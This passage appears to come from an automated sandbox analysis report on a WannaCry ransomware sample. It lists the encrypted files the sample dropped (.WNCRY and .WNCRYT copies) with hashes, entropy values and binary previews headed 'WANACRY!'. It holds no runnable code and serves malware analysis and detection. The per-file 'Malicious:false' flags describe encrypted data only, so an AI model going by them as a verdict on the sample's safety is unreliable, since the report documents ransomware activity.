                                                                                                                        Preview:WANACRY!......O..E.bt.7...*...Q.G....bV.l%......G.yexx}.I=v.f.....e..HH.>..+....%s.o...}..X..-...!......@..........N..?<4o.a.%4<.gx........\:.7g........./^w...:...5...!.^...W=....BW.7........5.....s...mB+..."...X+6...n.&in.o\l..\...n......) Jg3 ..7{!...a..f............%S.B..+N..........EJ5c.~...\.g.H.Hch.j^.+.g.....Y.......Fi.....3.M..q..H.?....T..C4..*{2...q...6.......4..f<....4Q....o..c~...$...A....b.,....u$..#..9q...TcJ=t.{..WUwS...4....4..m+(.0.E..YA.],..Ccn..=.._.....`..~Zc..~].EL.I..'.[..l.3.P..B9.57-"T...?..'......X.o....@F..29....@+.5.C.........w\......o...PS0i.........P^.."...}..6z0d.].......a.p0..$Y7.E....Qz.UUl.....v...;.@.n..Q1V..v..s.M..Lk&.zC[..T^.(.e..r.HU7.`....h#2.......3\.!.u....w.....L..........X...T.M.&......5W..Y..j'.b.R*S.*...q....!. p.XB...E......r.;..I3 .....\?........B..4]E.p....h..H...2...go.<.H......y.$tL...+....!1....8...4...=.].o.....omO'....|.^d..o...Ti.c9...].`.... .B}J[. i1.."h+mq....Jo...}..|l..$s.8.0Ec0...

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\IPKGELNTQY.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846609945664251
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkTZxRJ9FCGycQ6PLqZt4NqiuMH+svX/fSme/pEw/0Ad+:bklJbC56+ZKwZM5fk1E
                                                                                                                        MD5:A6B72C6FD590FE5C5CC341309F95505E
                                                                                                                        SHA1:BEADB65EC07FF1367C720872ED072AC79856162F
                                                                                                                        SHA-256:FBD1424B4107F46E343D3FE6D356A5BF0598CFA169E39D91E188E8505913A50D
                                                                                                                        SHA-512:8E2C1F5C83E3804F2D33A3C5336A10D3D21D4BC8662D81034D4D0E237C351E57B29D1FEC7FBC8FB639B16B507468C595752E998B441A9E2F68638226A1EC8FE6
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......O..E.bt.7...*...Q.G....bV.l%......G.yexx}.I=v.f.....e..HH.>..+....%s.o...}..X..-...!......@..........N..?<4o.a.%4<.gx........\:.7g........./^w...:...5...!.^...W=....BW.7........5.....s...mB+..."...X+6...n.&in.o\l..\...n......) Jg3 ..7{!...a..f............%S.B..+N..........EJ5c.~...\.g.H.Hch.j^.+.g.....Y.......Fi.....3.M..q..H.?....T..C4..*{2...q...6.......4..f<....4Q....o..c~...$...A....b.,....u$..#..9q...TcJ=t.{..WUwS...4....4..m+(.0.E..YA.],..Ccn..=.._.....`..~Zc..~].EL.I..'.[..l.3.P..B9.57-"T...?..'......X.o....@F..29....@+.5.C.........w\......o...PS0i.........P^.."...}..6z0d.].......a.p0..$Y7.E....Qz.UUl.....v...;.@.n..Q1V..v..s.M..Lk&.zC[..T^.(.e..r.HU7.`....h#2.......3\.!.u....w.....L..........X...T.M.&......5W..Y..j'.b.R*S.*...q....!. p.XB...E......r.;..I3 .....\?........B..4]E.p....h..H...2...go.<.H......y.$tL...+....!1....8...4...=.].o.....omO'....|.^d..o...Ti.c9...].`.... .B}J[. i1.."h+mq....Jo...}..|l..$s.8.0Ec0...

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\LSBIHQFDVT.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.773753853569275
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:jcchgQShTb9fMtnuhAyEMenMjJzYpvMcL5JL0lkdEZIJFAMZMYc+TjHDq1BeI:jVgtv9Utn2rExHpXL06mOAMZM1WyeI
                                                                                                                        MD5:12BEFAE695E7CC03CFF2EB07BDF7E7E2
                                                                                                                        SHA1:0CFA6A41B663E3F8AEBB318C49ED78DF63DBD6B6
                                                                                                                        SHA-256:EB3D1B4F17CAF326C0F36B45966C3C34CD40DCE35C2A618F4C95AB1E6134ED64
                                                                                                                        SHA-512:EBC65E6C4D807C475A225006120DFE01773713C25C0AADD40D34A2046FB4A80041A08BA2A404187D4A1DC49614758F5A1E444F3B90CD45CB8A0D4115F72DA462
                                                                                                                        Malicious:false
                                                                                                                        Preview:^...x.<.-.xP*.....b..2..t......Y....T......y..8.*.....w,.H5.u4cO.+....T.>..@....G...{D.<.Z..O=.0....0^....J..MR.....Q..lc6..n......t.tZ.f..`......X..vm~.m..*..g....t&......N.?.c.".&..[...$#.`(....pe..X..Q...._.). k......mj....V..*a..F........YL..H...;C.G#c1.j.qE.@..xj.K.u.uwl..]...9X.y..I..g}......&..|w%.mBC]......Z]...q....U2..".k.........K.Tb[.... V:..}&C.nrF..,tJ.e..#e.....mK..N..K.+o..:.2..hK$....9...;.....yF.G....N/.*7m.....R.)_.;...a..P..W.^...I*UMR.7...w6(..]....V:.._.(.Cj..7..6U..K..!I...nC....F.a......h%6k..D.C?..F#7lHq........8.3....#>.aL...6.... b.....7.$.....U.`'y..J..>T..M.!.#c.........4p.....J.l..H...,...W...!.D.*!X.7;e...Dh.zJ.........?^..#.@T.......z...t......'G.p.)..X.5....XS..5(....IQ..g...a .=A..5.g....Rn.!.Y..J.....;..][.f.P.F.....f.^p.J.#...,)z.0?.!i.9...M.c.W.p.E.......Q......FT........!w.V}.fdw..{...|..b......L.#qT..F....hn...y;...f..I....$...*.M.....a+...'..9^x.....dE&.[.5cmP.U...j.@.B..uV...K...x.....y..H.....

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\LSBIHQFDVT.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.823781600604241
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk1WcHmCo2DpwhCpobwvPkk7uvSRBhbPOX4rAaLA9YovUNn16iSVGt5RkroW:bk1XHmoDO0qNMnhbPdAaLeOEojEP
                                                                                                                        MD5:A030E9F3788BC786FA8B14481DCC08D9
                                                                                                                        SHA1:96ECFD0699461DF61683A70256FF3BAF1816E500
                                                                                                                        SHA-256:A200B772F468D67FD63C68DC9C6523632D467F000AD951FE0A78D5C2B440E6DD
                                                                                                                        SHA-512:C6CCB205E5062023829E939E92E0D69732BBFC692537FD488B79AAAD127CA7C38F664457A58996498D72A867D63BE3A438B892A89CA761B144F71CA650BBE532
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....M#.}...d..c....)G.X.]..[z.^9.<@A=..Q..Qu.@y}..~........=7V%{X..+..0.YJ/)....8....t:..O.....M.k"....Ygp..._.a...wm0_...2.m........c...7hZ....s0...J:..Y$.....?......`$......x..`..0..X:...}.}.....'.=p..t)(.?{.%.9.g.Xs.G.[.......4!.2H./Z...p_..io:.............'.{..a.[.giv!#1U..l:.2<.....[e.%...y.....1.NI,6.!(.7w.eb.k....... ..;..<[.t.F.!.T...ui....?b..b3.....N.n..G&.h).._M.g-Q..u!.$(....M;q...T..b.....J\...9.0......{..2.zb.....9..B....%Gs%vR..O*.)v.........?)..$5>..nKa..]N<..=Z....o..D.O.W..1.q8..:..j.p.D.R..7_:G...8..;..Q.Bu ..r~....]..(Pr.<.*.2.#l.iX$.t......|@i..,,........W..E....C.fy.}..RQC...g..Z3H..$......."..N........3Xt.r/.q..#.F.[....3Q..R.L]CiDg...5.......Um...Q...xe........$.Q.!.t..i..q. ....~..{TZ..V.NH.^..Z1}.....+.8J..~X_.y...I..K..S%..... .P.^.['XR..!siF...E.=..T......rO`]...fL.=.(MV...G^....z.-}%R.D.a...G0C.{....Z........M.....I,0..ee2.A._3..;%.'$...2.F]V...k..d.Y..Z.J[w$+.~zjD.T...AO...#e..}.J[{S../7.. ...C(...0+....

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\LSBIHQFDVT.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.823781600604241
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk1WcHmCo2DpwhCpobwvPkk7uvSRBhbPOX4rAaLA9YovUNn16iSVGt5RkroW:bk1XHmoDO0qNMnhbPdAaLeOEojEP
                                                                                                                        MD5:A030E9F3788BC786FA8B14481DCC08D9
                                                                                                                        SHA1:96ECFD0699461DF61683A70256FF3BAF1816E500
                                                                                                                        SHA-256:A200B772F468D67FD63C68DC9C6523632D467F000AD951FE0A78D5C2B440E6DD
                                                                                                                        SHA-512:C6CCB205E5062023829E939E92E0D69732BBFC692537FD488B79AAAD127CA7C38F664457A58996498D72A867D63BE3A438B892A89CA761B144F71CA650BBE532
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....M#.}...d..c....)G.X.]..[z.^9.<@A=..Q..Qu.@y}..~........=7V%{X..+..0.YJ/)....8....t:..O.....M.k"....Ygp..._.a...wm0_...2.m........c...7hZ....s0...J:..Y$.....?......`$......x..`..0..X:...}.}.....'.=p..t)(.?{.%.9.g.Xs.G.[.......4!.2H./Z...p_..io:.............'.{..a.[.giv!#1U..l:.2<.....[e.%...y.....1.NI,6.!(.7w.eb.k....... ..;..<[.t.F.!.T...ui....?b..b3.....N.n..G&.h).._M.g-Q..u!.$(....M;q...T..b.....J\...9.0......{..2.zb.....9..B....%Gs%vR..O*.)v.........?)..$5>..nKa..]N<..=Z....o..D.O.W..1.q8..:..j.p.D.R..7_:G...8..;..Q.Bu ..r~....]..(Pr.<.*.2.#l.iX$.t......|@i..,,........W..E....C.fy.}..RQC...g..Z3H..$......."..N........3Xt.r/.q..#.F.[....3Q..R.L]CiDg...5.......Um...Q...xe........$.Q.!.t..i..q. ....~..{TZ..V.NH.^..Z1}.....+.8J..~X_.y...I..K..S%..... .P.^.['XR..!siF...E.=..T......rO`]...fL.=.(MV...G^....z.-}%R.D.a...G0C.{....Z........M.....I,0..ee2.A._3..;%.'$...2.F]V...k..d.Y..Z.J[w$+.~zjD.T...AO...#e..}.J[{S../7.. ...C(...0+....

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\MXPXCVPDVN.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.821567326109606
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:tkyG3qyN9jn1Rqh0u8wlXMSBsPva9TOWSTBPP+KgDkxTIsj:KVquQxhVwa5OW2BeKgDkuc
                                                                                                                        MD5:EEBDA69BE5C8BD21DFA90E71F2603763
                                                                                                                        SHA1:EF11B633A4E705345236D25C22F60657D32745E2
                                                                                                                        SHA-256:B83062B16254EB8436A22C1E0802DCDB4F620939F7151B5C49B2412F976C00CC
                                                                                                                        SHA-512:C62BEE622E9301915E2CDCADFDFBD1C5833380E6412A6E1C9BED4C64834D61FD5FFF62125064760373E715A4964E74970B81CB54B2C997CF81F9A862C18A6CD7
                                                                                                                        Malicious:false
                                                                                                                        Preview:*.....U.b.h.....S.l..Z..#.^...q...c...~f[.....25>ZJ..?..6z...LoG.].'..........q...g.:Q..[K`n/...:"@.[..=.V...C..V.{...N^.s. .....&.I..~..*..^.......r..W..../H.ib..I...*lZE....r...$..UJ....U+*.P.g..T.. .hw.....=Cj....6.....pE....r...rvq?18..:.`..){.....'.R...'c...`..:..".~..r3.;M.$H.t.%W |..;.*.$..Y......6...}Z'gr.X....V%$...*..[..G..b........q.S.R?X.O.($.E.....E...Z....t.....^..|..0S.g..x.......aZ...`...N.......T}.to........#T.....MB.DV&..Nd...+.|*..K.....uF.....(7/%......,.n.^uj.N....Y....b..N.....Lb....../.K...x.c.....\p.>.-.....om..e.`.i....{.....tC.....4..4.+\..b..M0E..vc{...."x.....G...w^.5M..!.......G..,gJ3`..9\.6..... .Nh.X...wF../r.P).bv..$i..l......r......./....@...}...;.../.1..Hz..".&....,..k1te<...5#.8;....+,..-....}...m....=........../@x...T-.+.o..L.p......n.;$..V.k..4..y.3...~..9..n.5.9.M.w...A#.../.Q.ObC.).JkQ.b..........\".R.c....#.....b.YM..D.|......V.a.i..~.....H..R(...?q..0..rk/>.....t......U.|C..c..~p6s..t.

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\MXPXCVPDVN.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.818090892037259
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkPwMn15G3Q/dXEaCSd8F1g0dK+ngZGxVIn5w/HMxkngY0dHc+2g/zfMy:bk4W5Gg/USd8F1gCukC5wEQgY0Jc+ZP
                                                                                                                        MD5:84426A791EED5305738EF07BC9C09B28
                                                                                                                        SHA1:DA02E7CE7459A426A1D3168EC4BDDB04A8A20E59
                                                                                                                        SHA-256:A667C779F988C414C3A9175F3113898E06C95318CC276CBB16688DFA8F68ABE7
                                                                                                                        SHA-512:DCDF2FC92738A4582778F0613B35E788C0F7C741F8FA812064A13FD8D27317C36ED49A239E7E67063868F098D7D03470F999EBB1E37DFDD78982F7B614E1443C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......3..AN.......D..7..`...L...g3.........3.w....J..7...r...H.u.y.........!.F...;j.,Z.....h...uF[...HA....n...I....G0".8...0I..D.r..X..=.f...BN..i....Y..ANj..'qo.\N.....]42.qa. ..p5.J......4.{..|.....e2....2G..k........4F.-@../.S,.n..2...IR/................`.....,....ZM..6T4.K..K>N.....<....oo.$...^....w....o..........g.nz....2%..L...8.Y..>.>@..9..9u._*i?......J....TX."....v......n...i..0.&GYK\3.U..N....=......._D.SgJ..D.N...[.R,...x.l{<./D........NP].1.C...Q.........(l..1~...t.R...v.....6....p0.j.u...vy.m..&Z.....m.!....i.u...K....ZE..~-.........C..!....R..g.,..PDO.......u.a.....V>..}...B[.....F........t}.|...a..1D...a.B....^7..EU$l..t..p..../..G.?Z...7.c...A......1.f..#!...V...{..VO...!./....R...@...z.tQ"....P.t..%.6.F..CbER.......V.<N.N..j'T.U^s.MM.=.W..$.\...K...B._.....v.GTn.E......MY.....vaS.......^A;:..t.*...E<r....r...H._)..y.g.........sC..Pn.A.o)...B....r.............J..o..q3r...)....n..L[B..4..y.)..#SBd......TU..U..6

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\MXPXCVPDVN.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.818090892037259
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkPwMn15G3Q/dXEaCSd8F1g0dK+ngZGxVIn5w/HMxkngY0dHc+2g/zfMy:bk4W5Gg/USd8F1gCukC5wEQgY0Jc+ZP
                                                                                                                        MD5:84426A791EED5305738EF07BC9C09B28
                                                                                                                        SHA1:DA02E7CE7459A426A1D3168EC4BDDB04A8A20E59
                                                                                                                        SHA-256:A667C779F988C414C3A9175F3113898E06C95318CC276CBB16688DFA8F68ABE7
                                                                                                                        SHA-512:DCDF2FC92738A4582778F0613B35E788C0F7C741F8FA812064A13FD8D27317C36ED49A239E7E67063868F098D7D03470F999EBB1E37DFDD78982F7B614E1443C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......3..AN.......D..7..`...L...g3.........3.w....J..7...r...H.u.y.........!.F...;j.,Z.....h...uF[...HA....n...I....G0".8...0I..D.r..X..=.f...BN..i....Y..ANj..'qo.\N.....]42.qa. ..p5.J......4.{..|.....e2....2G..k........4F.-@../.S,.n..2...IR/................`.....,....ZM..6T4.K..K>N.....<....oo.$...^....w....o..........g.nz....2%..L...8.Y..>.>@..9..9u._*i?......J....TX."....v......n...i..0.&GYK\3.U..N....=......._D.SgJ..D.N...[.R,...x.l{<./D........NP].1.C...Q.........(l..1~...t.R...v.....6....p0.j.u...vy.m..&Z.....m.!....i.u...K....ZE..~-.........C..!....R..g.,..PDO.......u.a.....V>..}...B[.....F........t}.|...a..1D...a.B....^7..EU$l..t..p..../..G.?Z...7.c...A......1.f..#!...V...{..VO...!./....R...@...z.tQ"....P.t..%.6.F..CbER.......V.<N.N..j'T.U^s.MM.=.W..$.\...K...B._.....v.GTn.E......MY.....vaS.......^A;:..t.*...E<r....r...H._)..y.g.........sC..Pn.A.o)...B....r.............J..o..q3r...)....n..L[B..4..y.)..#SBd......TU..U..6

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\SQRKHNBNYN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.828874975809997
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:JfeBpN7eyALK2UV/y1O1R5m6OPVY933gDyejZeNZLvsx0:dmayt2AymR53oWAVgZ7/
                                                                                                                        MD5:317B0992758A6F0DE642076066E153D1
                                                                                                                        SHA1:5A91961A18D0D7FD0089E16CAF86AE4477CC7446
                                                                                                                        SHA-256:62D13EB73E92DDCDAB5A45D0B5E57E06A6EACE529CAC09942222E4364597D1C4
                                                                                                                        SHA-512:8F62D830F193A7D8E2C2097A601763C4B18CE38DDE370FF63B667A6570DC8E7A747D568A0B867C1C41D22475444006A20FDDEBDDBA7D25D796ACF601B41FBA9B
                                                                                                                        Malicious:false
                                                                                                                        Preview:KJ..r....+..^9i.e.J<..k..z.T.s..60...@.S....a.K5...:...Z..e....#..J.~8YZ.v../...&Bh..d..3... ..o0."...B..2AP...c.tnN.....M.......5yK'}qq..|=r......9..]....ut..3..2.6...j...|xk...F.1..b5.}.r....'..#.C.....R.t.x.D.?........X....V.$Q..x..#...+'.j[.....L.g.bs.sh4.x...z...rHP...h. [0.gc.u....*.Q.....]...]k..Z..*f.}.y..+(k..gb......l...fr..}.&8..9..,.....8.. ...9..M..XN.......^.I..V.T..4.+s...8.....6.R#......[Y6w.K..%C..........\..?..q...5..x...'....x.o4C.....;L...E.@3ZC}....7p....M..R...xt../I...6.S...I.......i. l.kk....N...E\...@[.!X...^.V.Y.DI......Y_8..uV.]...\...b.K..6.7...*.jM...Jf......u..Y... }.@c..k.`.Z...z......N......9...x..ZK.w..a..U:F.../.j.....%.U,...a....Qd..1..\...U..P..1..Y..oC..l)..$..ZN8Rp...........F:.;.W3..u.(Q.n....*2.^...5.D..K..>3.2..6m.C.3...uBSG!...<.U0L.D..DH...&.... ...{.]$.s?..<i.F.|.....^...`.....6..7.~..!Z..!.u..(..4...^P.r4.P@:..0UO......x.y#lV..../=...3S....w..\]y..lLTmR.C..xH./i..g..L.?.>.=K...Yy'SB..`..-...B9..m.

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\SQRKHNBNYN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8194031165591324
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkL7DOxGnb0M44i3LA0XVv1gqZiX4rQ58JZlkpVsSb8iyOWngt9lD:bkS0QuibHv1gR0UHb8iyCLD
                                                                                                                        MD5:3868D61A6CA8EA10F0E7B49C90C14C50
                                                                                                                        SHA1:2F4B0B259D23DE49BA49A16B31C5AC4E02BCADFC
                                                                                                                        SHA-256:5DB48A413CF4E4815CE92DED5AA7E91AD1AD9855B885FDCC3AACF7F9DBA4369D
                                                                                                                        SHA-512:5239C50DFFB3CF5C78C85545052A6536765F2E8AF5FA08B9E9950982FDADC80CA2A9529D4070071E43F9A4C6B239E20B40DB824E8126906FCE26C59659492243
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........R....8..s O"....S.........;T...hj.^......C....A.6..=.*.k.0....dc^.A...o$d.D.d?,...y...D....&P..X]o...#...Q.n...mgYh.M......]..... 4lXxUS.%@y99.(n.Q..RF......^..O.~.X.4..5,...p.M.^......9..y.....Ee..9...:...p..d.....Z.*......r.;.'..!E................/."..k..... IW.......O......o.=..@.o..M....B6.&...6..phV....K=....y...o...-i...1..8G.@....'{.....\.Wy.fp...A....xX....oab..C".0.J.3.G...h...."SY.a0...uB.q.,.K......(".$....V.*.....>q.x.K.[6j..S..M...V.A..^.&D6v..I...,...l...#...i.....2.wl.a....i.........M .6...y,kj.t6.v0.[].r...y.q.e......e..........m..fib...f....?...cTK9k..2......&<.r..I.7`9...Vw.v.f...$g.R...y1...v..*......w.:..<l.x.l..6|.s....u....,....C...z..(..w/..W..0..v..^.....BsX....2..a.8....q......,..C-....!..3u...6\...x...=.p...%,&........W^F....pN06x.K..$.r<. ...*....x.-.9)..F..[W........7...........R. .7....gJ....ch.O...p.~y......u;.@.........,.w._.UL...y.Y.WF.z..].R6....>....T...........b.?.1.....o.Q.....$...^

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\SQRKHNBNYN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8194031165591324
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkL7DOxGnb0M44i3LA0XVv1gqZiX4rQ58JZlkpVsSb8iyOWngt9lD:bkS0QuibHv1gR0UHb8iyCLD
                                                                                                                        MD5:3868D61A6CA8EA10F0E7B49C90C14C50
                                                                                                                        SHA1:2F4B0B259D23DE49BA49A16B31C5AC4E02BCADFC
                                                                                                                        SHA-256:5DB48A413CF4E4815CE92DED5AA7E91AD1AD9855B885FDCC3AACF7F9DBA4369D
                                                                                                                        SHA-512:5239C50DFFB3CF5C78C85545052A6536765F2E8AF5FA08B9E9950982FDADC80CA2A9529D4070071E43F9A4C6B239E20B40DB824E8126906FCE26C59659492243
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........R....8..s O"....S.........;T...hj.^......C....A.6..=.*.k.0....dc^.A...o$d.D.d?,...y...D....&P..X]o...#...Q.n...mgYh.M......]..... 4lXxUS.%@y99.(n.Q..RF......^..O.~.X.4..5,...p.M.^......9..y.....Ee..9...:...p..d.....Z.*......r.;.'..!E................/."..k..... IW.......O......o.=..@.o..M....B6.&...6..phV....K=....y...o...-i...1..8G.@....'{.....\.Wy.fp...A....xX....oab..C".0.J.3.G...h...."SY.a0...uB.q.,.K......(".$....V.*.....>q.x.K.[6j..S..M...V.A..^.&D6v..I...,...l...#...i.....2.wl.a....i.........M .6...y,kj.t6.v0.[].r...y.q.e......e..........m..fib...f....?...cTK9k..2......&<.r..I.7`9...Vw.v.f...$g.R...y1...v..*......w.:..<l.x.l..6|.s....u....,....C...z..(..w/..W..0..v..^.....BsX....2..a.8....q......,..C-....!..3u...6\...x...=.p...%,&........W^F....pN06x.K..$.r<. ...*....x.-.9)..F..[W........7...........R. .7....gJ....ch.O...p.~y......u;.@.........,.w._.UL...y.Y.WF.z..].R6....>....T...........b.?.1.....o.Q.....$...^

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\ZTGJILHXQB.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.796625101643429
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:OsjDYFcqi6KO9FEDRtU0QnDHGztHZt8QTp37BPg8OVGwTShfg14gWe6:OsobFEbSC17Jg8OJTWe6
                                                                                                                        MD5:0E8747C1988309668CDE640B67D0BE80
                                                                                                                        SHA1:BC505616680B64C95F680453831E01D7776A3DED
                                                                                                                        SHA-256:85E4A1CAD30AF96521712F7F339DE15F86F164897252C6D6BFA55681E27BADA2
                                                                                                                        SHA-512:30C99CE75EAF6908D27AC80BD9F8FE9BC6D503EE90D8F5FA67D8C06065D48FBD1283E756CFEF3A6E7B54D349C5EB720915F77215FCDC0BB2B33C6BBC011AA901
                                                                                                                        Malicious:false
                                                                                                                        Preview:.3j.*.h.}.W...?t\.o....B..U^.8......Z....U...@.g!V.#F.pc}.AV.o.e....$.\q.9. x..0......1&....).d......./...).u.C_T....|......-..f..l.+b..jrQ..bV.'}......j`wZ..o.".`..0|.1...('...........+..\|... .Y.fX........g.^...1r"?..9....^........l..:.<H2......f.l.G.S.}....cH...Y...+nj.I{q.qt7.9.......,R.....y.A&?.C.rI|W..}..SG6....ss4..)....p...G...r...~....'.`49..@8"<0.z5..A.P...c..+....dm?...g....Q..L.h...:I#X..^.!b.8V.,.J....._+wvSD...z\.950z...A.A}......egL....m..7..Y.}k.....&..Y..^.].RcT.sz2.F.CC;.z*Z...y..N...~.S'...#.P|...M....FZ.\.i'.Xow.&...w...vR...*..:.H..Lh.NL......\B_.2p.Mv.........G...m........U...+&.p!.J.../......p.Oz......r..B!...r..j...?..X..7._.2t..Bd...#...[oT+M....@....x.mc.OF)...w....VV..|K...l1u3....f.......-.x..,.r..`...7..^v....|`....rR......f..O..d......SY......ts...?.f)C*~..........l;z.P.d."S....kzN.QN..t.`.H.U^..&.DP...........[ Q....I+..9..yH..\5.......N*.o.....9~...i.6..W.....=......*.4.....{.;..*.f.m...]..M*....$.....n1.

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856651085923558
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkdS/iS9PGVsT7oEddfTt7tCiO9ifQPO5mHBf2pOiZCy2SnKbwWQiyrDt9ByV:bk+LcGT7oUZaiOsP4DYhncBqxTyV
                                                                                                                        MD5:DE62AF0606B830D6D681ECD413CE503E
                                                                                                                        SHA1:B34DCAB3F0719E70D0BA5539471427F3B88FBD15
                                                                                                                        SHA-256:05E10311FA6B01F9C3F0ADF0FD2FF045B7BC766C3D3ECCF115F844CAD5316B92
                                                                                                                        SHA-512:DDC9F0E8D1A228231EE8A49F508EF1E998117E112206C965D52ECE0DF544DFDD5A88F40A57950DB9CF9299D0E25BF39117DEE6823D1E7B3ADA8C283F60B4D8C5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....].E.h.5..2..K..../\.#H.#.>..2....~5.^........*.qi...o..+e...#.\.....^.<..I.......j4.}...._`...A.......,\3."...r{..w.i:b)..+....z..U.S....&@.....Rt..._.6...".)B.9=...N.0.......P(.7/..... ..Xn.V...{./..o?.R..b$._q.w..{v([.o.X.....2..T.;&..eCD ..c.............sV...B..Q.F.....Ep..-j.>Y...d'.*7...D......I.....?..Gmh..F...L..3l..wg/`..T"R.#....(.04.LG..CI.Y#M(......%...|.ps....B..}.1q..Q.a5..i..J.U.e...q.7...5.J. <.Ux...8...x...iV.[..<..Z.^+|f\K....c1..+l..x..7.....0:}b..}gD..&..u.=...>!.....d.kk....%-.#qqk..@.X....FA.J2.z..m..+N.|},@........_.)BL...T..K...X?.b....R.K.j...4.n"....=`.ND..V..,.H..yPB.j%Z..?..RT..!xN....L..E\..$Bj.4>..6..._.3......J.../.V7..m/...`Nr.I..d.9...6..;-.O*.R....S.c..U.N.0..%./..zE..e"OOa.Q.`..;.Uu...+R......../vp.,.)74...T....HL...G.X.........1.Eb......Y............hz=...6..A..HS...V.......%y.92...:oo.?..+..k@.......-bs...s..8.LNm.Ew.....b...T.cq..qp0.Y..x.1qZ.Q!..V.$.7E........^S@b8.....&9+.a.wB....C.._.-

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856651085923558
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkdS/iS9PGVsT7oEddfTt7tCiO9ifQPO5mHBf2pOiZCy2SnKbwWQiyrDt9ByV:bk+LcGT7oUZaiOsP4DYhncBqxTyV
                                                                                                                        MD5:DE62AF0606B830D6D681ECD413CE503E
                                                                                                                        SHA1:B34DCAB3F0719E70D0BA5539471427F3B88FBD15
                                                                                                                        SHA-256:05E10311FA6B01F9C3F0ADF0FD2FF045B7BC766C3D3ECCF115F844CAD5316B92
                                                                                                                        SHA-512:DDC9F0E8D1A228231EE8A49F508EF1E998117E112206C965D52ECE0DF544DFDD5A88F40A57950DB9CF9299D0E25BF39117DEE6823D1E7B3ADA8C283F60B4D8C5
